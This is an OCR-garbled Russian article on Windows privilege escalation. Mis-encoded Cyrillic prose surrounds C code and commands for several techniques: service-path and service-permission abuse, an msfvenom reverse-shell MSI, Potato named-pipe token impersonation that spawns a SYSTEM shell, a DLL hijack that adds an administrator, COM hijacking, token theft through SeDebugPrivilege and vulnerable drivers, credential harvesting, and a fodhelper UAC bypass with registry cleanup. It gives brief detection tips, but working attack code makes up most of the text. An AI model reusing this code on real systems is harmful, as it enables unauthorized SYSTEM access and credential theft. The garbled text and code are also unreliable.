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BBeneHue

I[Tosrimenue npusuneruit (Privilege Escalation) — kmioueBoit aTan mo6oi aTaku. [TomyuuB
initial access oT 00kIYHOTO TONIb30BaTeNs, aTakylomeMy HyxkeH NT AUTHORITY\SYSTEM

uny xoTs 661 Administrator. B 9Toit cTaThe — TEXHUKM OT KJTaCCHUUYECKHUX JI0 aKTyaJIbHBIX B

2026 rony, ¢ pabouyuM KOIOM U METOaMHU OETEKTa.

IBa THIIa:

» Local Privilege Escalation (LPE) — moBriieHre Ha TOM XKe MallnHe
» Privilege Abuse — 3moynoTpebieHue yxe UMEIOIUMUCS
IIPpUBUJIETUIMU/KOHPUTYpaLen

YacTts 1: Pa3Begka — 4TO MCKATh

1. Enumeration — c6op nadopmaluu o cucteMe

1.1 CucreMHasa uHGOpMaIHI

// Cbop KpuTuyeckonm mMHPopMauuum Ons privesc
// Bepcus 0C, natuu, npusunerun, cepsucol, scheduled tasks



// Tekywun nonb3oBaTesb U NpPUBUIET UK
printf("Username: %s\n", getenv("USERNAME"));
printf("Domain: %s\n", getenv("USERDOMAIN"));

// TlpuBunerumm ToKeHa

HANDLE hToken;

OpenProcessToken(GetCurrentProcess(), TOKEN QUERY, &hToken);

// ... enumerate privileges with GetTokenInformation(TokenPrivileges)

// Tpynnel nonb3oBaTensd
// NET LOCALGROUP ADMINISTRATORS — ecTb fin Mbl TaMm?
// whoami /priv — Kakue npuBunerum BKIKYEHbI?

1.2 YTo uckaTh Ay privesc

YeknucT pa3Benku:

1. Unquoted Service Paths — SC gc ServiceName

2. Weak Service Permissions — accesschk.exe -uwcv "Users" *
3. Writable Service Binary Path — icacls "C:\path\to\service.exe"
4. AlwaysInstallElevated — reg query HKLM\...\Installer /v
AlwaysInstallElevated

5. Stored Credentials — cmdkey /list

6. Scheduled Tasks writable — schtasks /query /fo LIST /v

7. DLL Hijacking opportunities — Process Monitor - NAME NOT FOUND
8. Token Privileges — whoami /priv (SeImpersonate,
SeAssignPrimaryToken)

9. Unpatched vulnerabilities — systeminfo - Watson/wesng

10. Registry AutoRun — reg query
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

11. Writable PATH directories — echo %PATH% + icacls each dir
12. Named Pipe impersonation — pipelist.exe

YacTtp 2: Knnaccudeckue TexHHKH (pab0TaloT 10 CHX IIOP)



2. Unquoted Service Paths

KoHment

Ecnu nyTh K cepBucy copepkut npobens 1 HE 06€pHyT B KaBbiuku, Windows uieT
OMHApPHUK 110 YaCTSIM:

Cepsuc: C:\Program Files\My App\service.exe

Windows npobyeT no nopspgky:

1. C:\Program.exe < eCcJin Mbl 3anuieM coga — Hall Kof
BbIMOJTHUTCA
2. C:\Program Files\My.exe < unn croga

3. C:\Program Files\My App\service.exe « opuruHan

Ycnosue: Mol MoxeM nucatb B C:\ unm C:\Program Files\

// TMounck Unquoted Service Paths
// Wwem cepsucol roe ImagePath copepxuT npoben n HeT KaBblYeK

#include <windows.h>
#include <stdio.h>

void FindUnquotedServices() {

SC HANDLE hSCM = OpenSCManagerA(NULL, NULL,
SC_MANAGER ENUMERATE SERVICE);

if ('hSCM) return;

DWORD needed, count, resume = 0;
EnumServicesStatusExA(hSCM, SC ENUM PROCESS INFO, SERVICE WIN32,
SERVICE STATE ALL, NULL, 0, &needed, &count, &resume, NULL);

PBYTE buf = (PBYTE)malloc(needed);
EnumServicesStatusExA(hSCM, SC ENUM PROCESS INFO, SERVICE WIN32,
SERVICE STATE ALL, buf, needed, &needed, &count, &resume,
NULL) ;



ENUM_SERVICE STATUS PROCESSA* svcs =
(ENUM_SERVICE STATUS PROCESSA*)buf;

for (DWORD i = 0; 1 < count; i++) {
SC HANDLE hSvc = OpenServiceA(hSCM, svcs[i].lpServiceName,
SERVICE QUERY CONFIG);
if (!'hSvc) continue;

BYTE cfgBuf[8192];
QUERY SERVICE CONFIGA* cfg = (QUERY SERVICE CONFIGA*)cfgBuf;
QueryServiceConfigA(hSvc, cfg, sizeof(cfgBuf), &needed);

char* path = cfg->1lpBinaryPathName;
// Ya3BMMO ecnn: ecTb npoben, HeT KaBbluek, He system32
if (path && path[0] !'= '""'" && strchr(path, ' ') &&
_strnicmp(path, "C:\\Windows\\system32", 19) != 0) {
printf("[!] VULNERABLE: %s\n", svcs[i].lpServiceName);
printf(" Path: %s\n", path);
printf (" Start: %s\n\n",
cfg->dwStartType == SERVICE AUTO START ? "AUTO"
"MANUAL") ;
}

CloseServiceHandle(hSvc);

}

free(buf);
CloseServiceHandle (hSCM) ;

}
Blue Team: meTekT

» AynmuT BCcex CepBUCOB: WmiC service get
name,displayname, pathname,startmode | findstr /i /v "C:\Windows"
findstr /i /v """

e GPO: zamper 3anmucu B C:\ u C:\Program Files\ mis HempuBUIETUPOBAHHBIX

» Sysmon Event ID 1: co3ganue mpoliecca ¢ HEOXKUOAHHLIM ITYTEM




3. Weak Service Permissions

KoHuenTt

Ecnu y o6s19HOTO 1Tob30BaTesid ecTh mpaBo SERVICE CHANGE CONFIG Ha cepBuc, oH
MOKeT u3MeHUTh binPath Ha cBOU OMHAPHUK.

// TlpoBepka npaB Ha CepBUC
// Ecnun MoXeM MeHfiTb KOHQUrypauuw — MOXeM nogMeHuTb binPath

void CheckServicePermissions(const char* serviceName) {
SC HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC MANAGER CONNECT);
SC HANDLE hSvc = OpenServiceA(hSCM, serviceName,
SERVICE QUERY CONFIG | SERVICE CHANGE CONFIG);

if (hSvc) {
printf("[!] Can modify service: %s\n", serviceName);

// JKcnnyaTtauusa:

// ChangeServiceConfigA(hSvc, SERVICE NO CHANGE,
SERVICE NO CHANGE,

// SERVICE NO CHANGE, "C:\\temp\\evil.exe",

// NULL, NULL, NULL, NULL, NULL, NULL);

// 3aTteM: StartServiceA(hSvc, 0, NULL);

// evil.exe 3anyctutcsa Kak SYSTEM!

CloseServiceHandle(hSvc);

}
CloseServiceHandle (hSCM) ;

4. AlwayslInstallElevated

KoHuenTt

Ecnu B peectpe ycranoBieH AlwaysInstallElevated = 18 HKLM u HKCU — nio6ou



MSI ¢aiin ycTaHaBnuBaeTcs ¢ nmpusunerusmu SYSTEM.

// NpoBepka AlwaysInstallElevated

BOOL CheckAlwaysInstallElevated() {
DWORD val = 0, size = sizeof(val);
BOOL hklm = FALSE, hkcu = FALSE;

// HKLM

RegGetValueA(HKEY LOCAL MACHINE,
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer",
"AlwaysInstallElevated", RRF_RT DWORD, NULL, &val, &size);

hklm = (val == 1);

// HKCU

val = 0; size = sizeof(val);

RegGetValueA(HKEY CURRENT USER,
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer",
"AlwaysInstallElevated", RRF RT DWORD, NULL, &val, &size);

hkcu = (val == 1);

if (hklm && hkcu) {
printf("[!] AlwaysInstallElevated is ENABLED!\n");

printf (" Create MSI: msfvenom -p

windows/x64/shell reverse tcp ... -f msi\n");
printf(" Install: msiexec /quiet /gqn /i evil.msi\n");
printf (" - Executes as SYSTEM!\n");

return TRUE;

}
return FALSE;

5. Token Impersonation — Potato Family

KoHuenTt

Ecnu y TokeHa ectb SeImpersonatePrivilege unu SeAssignPrimaryTokenPrivilege



(0OBIYHO V¥ CepPBUCHBIX aKKayHTOB, IIS, SQL Server) — moxHo0 ykpactb SYSTEM TokeH yepe3
Named Pipe impersonation.

// Potato Attack: Named Pipe Impersonation - SYSTEM token
// PaboTtaet ecnn y Hac SelmpersonatePrivilege

// KoHuenrt:

// 1. Co3paém Named Pipe

// 2. 3acTtaBndeM SYSTEM-cepBMC NOOKNIWYUTLCA K Hawemy pipe
// (yepe3 DCOM, EFS, SpoolService, BITS u 1.0.)

// 3. ImpersonateNamedPipeClient() - nonydyaem SYSTEM token
// 4. CreateProcessWithTokenW() - cmd.exe as SYSTEM

#include <windows.h>
#include <stdio.h>

BOOL CheckImpersonatePrivilege() {
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN QUERY, &hToken);

DWORD size;

GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &size);
TOKEN PRIVILEGES* tp = (TOKEN PRIVILEGES*)malloc(size);
GetTokenInformation(hToken, TokenPrivileges, tp, size, &size);

for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
char name[64];
DWORD namelLen = sizeof(name);
LookupPrivilegeNameA(NULL, &tp->Privileges[i].Luid, name,
&namelLen) ;

if (strcmp(name, "SelImpersonatePrivilege") == 0) {
printf("[+] SeImpersonatePrivilege: %s\n",
(tp->Privileges[i] .Attributes & SE PRIVILEGE ENABLED)

"ENABLED" : "DISABLED");
free(tp); CloseHandle(hToken);
return TRUE;



}

}
free(tp); CloseHandle(hToken);

return FALSE;
}

// Named Pipe Server pna impersonation
DWORD WINAPI PipeServer(LPVOID param) {
HANDLE hPipe = CreateNamedPipeA(
"“\\\\.\\pipe\\privesc demo",

PIPE ACCESS DUPLEX,
PIPE TYPE BYTE | PIPE WAIT,
1, 4096, 4096, 0, NULL);

if (hPipe == INVALID HANDLE VALUE) return 1;
printf("[*] Waiting for SYSTEM service to connect...\n");

if (ConnectNamedPipe(hPipe, NULL)) {
// KnueHT nopknw4yunca — impersonate!
if (ImpersonateNamedPipeClient(hPipe)) {
printf("[+] Impersonating connected client!\n");

// TlpoBepsaeM KTO Mbl Tenepb

HANDLE hToken;

OpenThreadToken(GetCurrentThread(), TOKEN QUERY |
TOKEN_DUPLICATE, TRUE, &hToken);

char user[256];

DWORD userLen = sizeof(user);
GetUserNameA(user, &userlLen);

printf(“[+] Now running as: %s\n", user);

// 3anyckaeM cmd.exe C YKpageHHbM TOKEHOM

// DuplicateTokenEx + CreateProcessWithTokenW

HANDLE hDupToken;

DuplicateTokenEx(hToken, MAXIMUM ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken);



// CreateProcessWithTokenW(hDupToken, 0, NULL, L"cmd.exe",
// - cmd.exe as SYSTEM!

RevertToSelf();
CloseHandle(hToken) ;

}

CloseHandle(hPipe);
return 0;

}
Potato Variants (2024-2026)

Jsonwunsa Potato aTtak:

JuicyPotato (2018) — DCOM activation 4yepe3s CLSID

RoguePotato (2020) — obxopn natya JuicyPotato 4yepe3 remote OXID
PrintSpoofer (2020) — SpoolService Named Pipe impersonation
EfsPotato (2021) — EFS (Encrypting File System) RPC

GodPotato (2022) — YHuBepcanbHbih, paboTaeT Ha Winl®/11l/Server
2022

CoercedPotato (2023) — MHOXeCTBO coercion MeToOOB B OOQHOM MHCTPYMEHTE
SweetPotato (2024) — KoMbuHauua BeaconEye evasion + potato
DCOMPotato (2025) — HoBble CLSID pna DCOM activation

SilverPotato (2025) — cross-session token theft

Bce TpebywTt: SelmpersonatePrivilege unu SeAssignPrimaryTokenPrivilege
TunuyHole xeptBbl: IIS AppPool, SQL Server, MSSQL, cepBUCHble aKKayHTbI

YacTs 3: [IponBUHYTHE TEXHUKH




6. DLL Hijacking — Search Order Hijacking

KoHuenTt

[TpuBuerupoBanHbIy npouecc 3arpyxaeT DLL. Eciu MBI MOXXeM NOAJIOXKUTH CBOIO DLL
paHbIle B search order — Haul KOJ BEIIOJTHUTCS C IPUBUJIETUSIMU 1[€JIEBOTO IIPOIECCa.

// DLL Hijacking: nouck BO3MOXHOCTEMN
// Process Monitor - ¢unbTp: Result = NAME NOT FOUND, Path ends with
Ldll

// War 1: HavTu npuBMIerupoBaHHbLIN Npouecc KoTopbin umweT DLL
// War 2: [poBepuTb 4YTO Mbl MOXEM MUCaTb B OUPEKTOPUI MOUCKA

// War 3: Co3pmatb DLL-npokcu (3arpyxaeT opuruHan + Haw Kopf)

// DLL Search Order (no yMosnidaHuo) :

// 1. [OupekTopusa NpuNoXeHus
// 2. System32

// 3. Systeml6

// 4. Windows directory

// 5. Current directory

// 6. Oupektopun n3 PATH

// TpuMep: co3paHue hijack DLL

// OpurunHan: C:\Windows\System32\version.dll

// Hawa: C:\Program Files\VulnApp\version.dll (ecnu MoxeM nucatb
copa)

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
if (reason == DLL PROCESS ATTACH) {

// Haw payload — 3anyckaeM cmd.exe

STARTUPINFOA si = { sizeof(si) };

PROCESS INFORMATION pi = { 0 };

CreateProcessA(NULL, "cmd.exe /c net localgroup Administrators
user /add",

NULL, NULL, FALSE, CREATE NO WINDOW, NULL, NULL, &si,

&pi);



}

if (pi.hProcess) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

}

// 3arpyxaem opuruHanbHyw DLL pna npokcwu
// LoadLibrary("C:\\Windows\\System32\\version.dll");
// Forward exports...

}
return TRUE;

Phantom DLL Hijacking

//
//
//

//
//
//
//
//
//

//
//
//
//

Phantom DLL Hijack: DLL koTtopas HE cywecTtByeT B system32
HekoTopble nporpammsl uwyT DLL KOTOpbIX HET - MOXHO CO30aTb
He HyXHO npokcupoBaTb 3KCMOpPTHI!

N3BecTHble phantom DLL (vMwyTCcsi HO He CyWwecTBYWT):
- wlbsctrl.dll (IKEEXT service)

- wlanapi.dll B HEKOTOPbIX KOHOUrypauuax)

- amsi.dll B OMPEKTOPUU NMPUIIOXEHUNA)

- profapi.dll npu onpenenéHHbiX YyCNoBUAX)

- dbghelp.dll MHOIrMe OTNafuYuKKn)

~ o~ o~ o~

Process Monitor ¢unbTp:

Path contains: .dll

Result is: NAME NOT FOUND

Integrity: System (noka3saTb TOJSIbKO MPUBUNIErMPOBaHHbLIE MPOLLECCHI)

7.

//
//

Scheduled Tasks — akcITyaTamus ImIaHHPOBIIUKA

Monck Scheduled Tasks ¢ writable GuHapHUKamu
Ecnu 3apava 3anyckaetcsi oT SYSTEM M Mbl MOXeM 3aMeHUTb €€ OUHaApHUK -

privesc



void Fi
//
//
//

//
//
//
//

//
//
//
//
//

//
//
//
pri

//

WIN
HAN

//
con

};

for

ndVulnerableScheduledTasks() {
JHyMepaunsa 4depe3 COM (ITaskService)
Nnn 4yepe3 KOMaHOHYKW CTPOKY:
schtasks /query /fo CSV /v - napcum

lpoBepseM:

1. 3apayva 3anyckaetcsd o1 SYSTEM wnu Administrators
2. MyTb K OMHApPHWMKY OOCTYMeH Ons 3anucu

3. 3apaya 3anyckaeTcCcsd Nepuoauyecku unu rnpu foroHe

MpvMep ysi3BMMOMW 3apauu:

Task: UpdateService

Run As: SYSTEM

Action: C:\Tools\updater.exe

icacls C:\Tools\updater.exe - Users: (M) « WRITABLE!

dKcnnyartaumsa:

copy evil.exe C:\Tools\updater.exe

Xoém trigger - evil.exe 3anyctutca kak SYSTEM
ntf("Checking scheduled tasks for writable binaries

BeicTpas nposepka 4vepe3 WinAPI
32 FIND DATAA fd;
DLE hFind;

MpoBepsdeM Tunu4yHble locations

st char* paths[] = {
"C:\\Tools\\*.exe",
"C:\\Scripts\\*.bat",
"C:\\Maintenance\\*.exe",
NULL

(int 1 = 0; paths[i]; i++) {
hFind = FindFirstFileA(paths[i], &fd);
if (hFind != INVALID HANDLE VALUE) {
do {
printf(" [?] Found: %s\n", fd.cFileName);

...\nn);



// TNpoBeputb icacls / accesschk
} while (FindNextFileA(hFind, &fd));
FindClose(hFind);

8. Registry AutoRun Abuse

// Registry AutoRun: nporpammel cTapTywwue rnpu noroHe
// Ecnu y Hac ecTb [QOCTYN Ha 3anucb B K/KWY unuM B OUHApHWUK - privesc

void CheckAutoRuns() {
const char* keys[] = {
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices",
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
NULL

};

HKEY roots[] = { HKEY LOCAL MACHINE, HKEY CURRENT USER };
const char* rootNames[] = { "HKLM", "HKCU" };

for (int r=0; r < 2; r++) {
for (int k = 0; keys[k]; k++) {
HKEY hKey;
if (RegOpenKeyExA(roots[r], keys[k], 0, KEY READ, &hKey)
== ERROR SUCCESS) {

char name[256], value[1l024];
DWORD namelLen, valuelLen, type;
DWORD idx = 0;

while (1) {
namelLen = sizeof(name);
valueLen = sizeof(value);



if (RegEnumValueA(hKey, idx++, name, &namelLen,
NULL, &type, (PBYTE)value, &valuelLen) !=
ERROR SUCCESS) break;

if (type == REG SZ || type == REG EXPAND SZ) {
printf(" %s\\%s\n", rootNames[r], keys[k]);
printf (" %s = %s\n", name, value);

// TpoBepuTb AOCTYN Ha 3anuCb K OMHAPHUKY
// 1icacls "value" - Users: (M) = vulnerable

}

}
RegCloseKey (hKey) ;

9. Writable PATH Directories

// Ecnn pupektopua M3 cuctemHoro PATH pocTynHa pna 3anucu obbl4HOMY
03epy

// - MOoXHO nopgnoxutb DLL/EXE koTopble 6yayT 3arpyxeHsbl

npuBUNEr MpoBaHHLIMU MpoLeccamm

void CheckWritablePATH() {
char* path = getenv("PATH");
char pathCopy[8192];
strcpy s(pathCopy, sizeof(pathCopy), path);

char* dir = strtok(pathCopy, ";");
while (dir) {
// TMonpoboBaTb co3gaTb TECTOBbLIM dann
char testPath[MAX PATHI];
sprintf s(testPath, sizeof(testPath),
"%s\\ privesc test.tmp", dir);



HANDLE hFile = CreateFileA(testPath, GENERIC WRITE, O, NULL,
CREATE_NEW, FILE ATTRIBUTE NORMAL, NULL);

if (hFile != INVALID HANDLE VALUE) {
CloseHandle(hFile);
DeleteFileA(testPath);
printf("[!] WRITABLE PATH: %s\n", dir);
printf(" Place malicious DLL here for hijacking\n\n");

}
dir = strtok(NULL, ";");

Yacts 4: Texuauku 2026 roma

10. Bring Your Own Vulnerable Driver (BYOVD) - SYSTEM

KoH1enTt

3arpy3ka JIEeTUTUMHOTO HO ySI3BUMOTO MOANUCAHHOI0 ApaiBepa O moaydeHus arbitrary
kernel R/W - Mmogudukanusa ToKeHa TeKyIero mpoiecca —» SYSTEM.

//
//
//
//
//
//

//
//
//
//
//

BYOVD Privilege Escalation: koHuenrt

. 3arpy3utb YyA3BWMbIM MOAMWCAHHLIN OpanBep

. Yepe3 ya3BuMoCTb: arbitrary kernel read/write

Hantm EPROCESS Ttekywero npouecca B spgpe

CkonupoBatb Token u3 System process (PID 4) B Haw EPROCESS
. Tekywun npouecc tenepb SYSTEM!

O s~ WN PR

N3BecTHble ya3BuMble gpauBepbl (2024-2026):

RTCoreb64.sys — MSI Afterburner (CVE-2019-16098)
dbutil 2 3.sys — Dell BIOS Utility (CVE-2021-21551)
gdrv.sys — GIGABYTE (arbitrary R/W)

ene.sys — ENE Technology (CVE-2024-XxXxxX)



// WinRing0Ox64.sys — CPUID HWMonitor
// AsrDrv106.sys — ASRock
// NTIOLib X64.sys — MSI utilities

// KoHuent Token Theft uepe3 kernel R/W:
void TokenTheftConcept() {
// TlceBpokopn:
// PEPROCESS systemProcess = PsLookupProcessByProcessId(4);
// PEPROCESS myProcess = PsGetCurrentProcess();
//
// // Token offset B EPROCESS (Winll 24H2): ~0x4B8
// PVOID systemToken = *(PVOID*) ((PBYTE)systemProcess +
TOKEN OFFSET);
//
// // Konupyem SYSTEM token B Haw npouecc
// *(PVOID*) ((PBYTE)myProcess + TOKEN OFFSET) = systemToken;
//
// // Tenepb Haw npouecc = SYSTEM!
// system("cmd.exe");
printf("Token theft requires kernel R/W via vulnerable driver\n");

11. Named Pipe Impersonation — Universal Potato

KoHuenTt

Co3maem Named Pipe, 3actaBnsgeM SYSTEM-cepBuc nogkniouuThcs yepe3 RPC/DCOM
coercion, impersonate knueHTa — noimydaeM SYSTEM token.

// Universal Potato: Named Pipe + DCOM/RPC Coercion
// Tpebyet: SelmpersonatePrivilege (ecTb y CEpPBUCHbIX aKKAyHTOB)

// MeTopgbl coercion (3acTtaBuTb SYSTEM nopgknw4nTbCAd K Hawemy pipe):
//

// 1. EfsRpc (EfsPotato):

// EfsRpcOpenFileRaw("\\\\localhost/pipe/our pipe\\C$\\x", ...)



//
// 2. SpoolService (PrintSpoofer):

// RpcOpenPrinter("\\\\localhost/pipe/our pipe", ...)

//

// 3. DCOM Activation (JuicyPotato/GodPotato):

// CoGetInstanceFromIStorage() c HawuMm pipe Kak storage

//

// 4. PetitPotam (EFS over SMB):

// EfsRpcOpenFileRaw("\\\\attacker\\share", ...) — remote coercion
//

// 5. MS-RPRN (Print Bug):

//

RpcRemoteFindFirstPrinterChangeNotification("\\\\attacker\\share")
//

// 6. BITS (Background Intelligent Transfer):

// IBackgroundCopyJob: :SetNotifyCmdLine()

BOOL CreatelImpersonationPipe(const char* pipeName) {

char fullName[256];

sprintf s(fullName, sizeof(fullName), "\\\\.\\pipe\\%s",
pipeName) ;

SECURITY ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };

HANDLE hPipe = CreateNamedPipeA(fullName,
PIPE ACCESS DUPLEX | FILE FLAG FIRST PIPE INSTANCE,
PIPE TYPE BYTE | PIPE READMODE BYTE | PIPE WAIT,
10, 4096, 4096, 0, &sa);

if (hPipe == INVALID HANDLE VALUE) {
printf("[-] CreateNamedPipe failed: %d\n", GetLastError());
return FALSE;

}

printf("[*] Pipe created: %s\n", fullName);
printf("[*] Waiting for SYSTEM connection...\n");

// XpéM nopknwdyeHue (nocne coercion)



if (!ConnectNamedPipe(hPipe, NULL) && GetLastError() !=
ERROR PIPE CONNECTED) {
CloseHandle(hPipe);
return FALSE;

}

// Impersonate!

if (ImpersonateNamedPipeClient(hPipe)) {
char user[256];
DWORD userLen = sizeof(user);
GetUserNameA(user, &userlLen);
printf("“[+] Impersonating: %s\n", user);

// Tlony4yaeM TOKeH
HANDLE hToken, hDupToken;
OpenThreadToken(GetCurrentThread(), TOKEN ALL ACCESS, FALSE,
&hToken) ;
DuplicateTokenEx(hToken, MAXIMUM ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken);

// 3anyckaeM cmd.exe ¢ SYSTEM TokeHOM

STARTUPINFOW siw = { sizeof(siw) };

PROCESS INFORMATION pi = { 0 };

CreateProcessWithTokenW(hDupToken, 0, NULL, L"cmd.exe",
CREATE NEW CONSOLE, NULL, NULL, &siw, &pi);

if (pi.hProcess) {
printf("[+] cmd.exe as SYSTEM! PID: %d\n",
pi.dwProcessId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

}

CloseHandle(hDupToken);
CloseHandle(hToken) ;
RevertToSelf();



CloseHandle(hPipe);
return TRUE;

12. COM Object Hijacking — CLSID Abuse

//
//

//
//
//
//

//
//

COM Hijacking: nogmeHa COM-obbekTa 4epe3 peecTp
NMpu akTmBaumm COM - 3arpyxaetcs Hawa DLL BMeCToO opuruHanbHOM

MpuHumMN:
HKCU\Software\Classes\CLSID\{CLSID}\InProcServer32
UMeeT MpuopuTeT Hap
HKLM\Software\Classes\CLSID\{CLSID}\InProcServer32

Ecnn npuBunermpoBaHHbin npouecc aktuBupyet COM object -
3arpy3utcd Hawa DLL u3 HKCU!

void SetupCOMHijack(const char* clsid, const char* dllPath) {

char keyPath[512];
sprintf s(keyPath, sizeof(keyPath),
"Software\\Classes\\CLSID\\%s\\InProcServer32", clsid);

HKEY hKey;
RegCreateKeyExA(HKEY CURRENT USER, keyPath, 0, NULL,
0, KEY SET VALUE, NULL, &hKey, NULL);

// MyTb K Hawen DLL
RegSetValueExA(hKey, NULL, 0, REG SZ,
(BYTE*)dllPath, (DWORD)strlen(dllPath) + 1);

// Threading model

const char* threading = "Both";

RegSetValueExA(hKey, "ThreadingModel", 0, REG SZ,
(BYTE*)threading, (DWORD)strlen(threading) + 1);

RegCloseKey (hKey) ;



printf(“[+] COM hijack registered:\n");

printf (" CLSID: %s\n", clsid);

printf (" DLL: %s\n", dllPath);

printf (" When privileged process activates this CLSID - our DLL
loads\n");

}

// W3BecTHble CLSID gna hijack (akTuMBMPYWTCA CUCTEMHbIMM MpoLeccamu) :
// {BDB57FF2-79B9-4205-9447-F5FE85F37312} — DllSurrogate

// {97D47D56-3777-49FB-8E8F-90D7E30E1A1lE} — Windows Search

// {00021401-0000-0000-CO00-000000000046} — ShelllLink

13. Token Manipulation — Privilege Enabling

// Ecnn y ToKeHa ecTb npusunerna Ho oHa DISABLED - MOXHO BKKWYUTL
// HekoTopble npuBunerumu no3sonawT ctatb SYSTEM:

//  SeDebugPrivilege - OpenProcess Ha niwbon npouecc (Bkw4as
SYSTEM)

//  SeBackupPrivilege - yutaTb swbbie ¢pannbl (SAM, NTDS.dit)

//  SeRestorePrivilege - nucatb nbble ¢annsl

// SeTakeOwnershipPrivilege - cTaTb BnapenbueM nwboro obvekTa
//  SelLoadDriverPrivilege - 3arpy3utb pgpauBep (- kernel access)
//  SelmpersonatePrivilege - potato attacks

BOOL EnablePrivilege(const char* privName) {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN ADJUST PRIVILEGES | TOKEN QUERY, &hToken)) return FALSE;

LUID luid;

if (!'LookupPrivilegeValueA(NULL, privName, &luid)) {
CloseHandle(hToken); return FALSE;

}

TOKEN PRIVILEGES tp;
tp.PrivilegeCount = 1;



tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE PRIVILEGE ENABLED;

BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL,
NULL) ;

DWORD err = GetLastError();

CloseHandle(hToken) ;

if (result && err == ERROR SUCCESS) {
printf("[+] Enabled: %s\n", privName);
return TRUE;
} else {
printf(“[-] Cannot enable: %s (error: %d)\n", privName, err);
return FALSE;

}

// SeDebugPrivilege - dump lsass / inject into SYSTEM process
void DebugPrivilegeToSystem() {
if (!EnablePrivilege("SeDebugPrivilege")) return;

// Tenepb MoxeM OTKpbITb winlogon.exe (SYSTEM)
// W yKpacTb ero TOKeH

DWORD winlogonPid = 0;
// ... Hautum PID winlogon.exe ...

HANDLE hProcess = OpenProcess(PROCESS QUERY INFORMATION, FALSE,
winlogonPid);
if (hProcess) {
HANDLE hToken, hDupToken;
OpenProcessToken(hProcess, TOKEN DUPLICATE | TOKEN QUERY,
&hToken) ;
DuplicateTokenEx(hToken, MAXIMUM ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken);

// CreateProcessWithTokenW(hDupToken, ..., "cmd.exe", ...)
// - cmd.exe as SYSTEM!



CloseHandle(hDupToken) ;
CloseHandle(hToken) ;
CloseHandle(hProcess);

14. Credential Harvesting — Stored Credentials

// Tlonck coxpaHéHHbiX credentials Ha cucteme
// Ecnu HaunpéMm naponb agMmHa - runas - SYSTEM

void EnumerateCredentials() {
printf("=== Stored Credentials ===\n\n");

// 1. Windows Credential Manager
printf(“[1] Credential Manager (cmdkey /list):\n");
system("cmdkey /list 2>nul");

// 2. WiFi passwords
printf("\n[2] WiFi Profiles:\n");
system("netsh wlan show profiles 2>nul");

// 3. Unattend.xml (naponu B OTKpbITOM BUae!)

printf(“\n[3] Checking Unattend.xml locations:\n");

const char* unattendPaths[] = {
"C:\\Windows\\Panther\\Unattend.xml",
"C:\\Windows\\Panther\\unattend.xml",
"C:\\Windows\\Panther\\Unattend\\Unattend.xml",
"C:\\Windows\\System32\\sysprep\\Unattend.xml",
"C:\\Windows\\System32\\sysprep\\sysprep.xml",
NULL

b

for (int 1 = 0; unattendPaths[i]; i++) {
DWORD attr = GetFileAttributesA(unattendPaths[i]);
if (attr != INVALID FILE ATTRIBUTES) {

printf(" [!] FOUND: %s\n", unattendPaths[i]);



printf (" May contain plaintext admin password!\n");

}

// 4. Web.config / connectionstrings
printf("\n[4] IIS web.config files:\n");
system("dir /s /b C:\\inetpub\\web.config 2>nul");

// 5. PowerShell history
printf(“\n[5] PowerShell history:\n");
char psHistory[MAX PATH];
sprintf s(psHistory, sizeof(psHistory),
"%s\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\Con
soleHost history.txt",
getenv ("USERPROFILE"));
DWORD attr = GetFileAttributesA(psHistory);
if (attr != INVALID FILE ATTRIBUTES) {
printf(" [!] FOUND: %s\n", psHistory);
printf (" May contain passwords from previous
commands!\n");
}
}

15. UAC Bypass — Auto-Elevation Abuse

// UAC Bypass: 3anyck elevated npouecca 6e3 UAC prompt
// PaboTaeT ecnu nonb3oBaTenb B rpynne Administrators Ho He elevated

// Meton 1: fodhelper.exe (auto-elevates)

// fodhelper.exe 3anyckaetcsa elevated 6e3 UAC prompt

// OH umtaet HKCU\Software\Classes\ms-settings\Shell\Open\command
// Mbl nuwem Typa cBou BuHapHuK - elevated execution!

void UACBypass Fodhelper(const char* cmdToRun) {
HKEY hKey;



// Co3paéM Koy
RegCreateKeyExA(HKEY CURRENT USER,

"Software\\Classes\\ms-settings\\Shell\\Open\\command",
0, NULL, O, KEY SET VALUE, NULL, &hKey, NULL);

// YcTaHaBnueBaeM KOMaHOy
RegSetValueExA(hKey, NULL, 0, REG SZ,

(BYTE*)cmdToRun, (DWORD)strlen(cmdToRun) + 1);

// DelegateExecute = "" (oba3aTenbHO)
RegSetValueExA(hKey, "DelegateExecute", 0, REG SZ, (BYTE*)"", 1);

RegCloseKey (hKey) ;

// 3anyckaeM fodhelper - oH npounTaeT Haw Knw4y - elevated cmd

printf("[*] Launching fodhelper.exe (auto-elevated)...\n");

ShellExecuteA(NULL, "open",
"C:\\Windows\\System32\\fodhelper.exe",

NULL, NULL, SW HIDE);

// Cleanup (4yepe3 5 cekyHp)
Sleep(5000);
RegDeleteTreeA(HKEY CURRENT USER, "Software\\Classes\\ms-

settings");

printf("[+] Registry cleaned up\n");

}

// MeTtop
// Metop
// MeTopn
// Metop
// Metop

SO Ul s WN

: computerdefaults.exe (aHanoruyHo)

sdclt.exe /kickoffelev

: eventvwr.exe (mmc.exe auto-elevation)
: cmstp.exe (INF file abuse)
: wsreset.exe (Windows Store Reset)

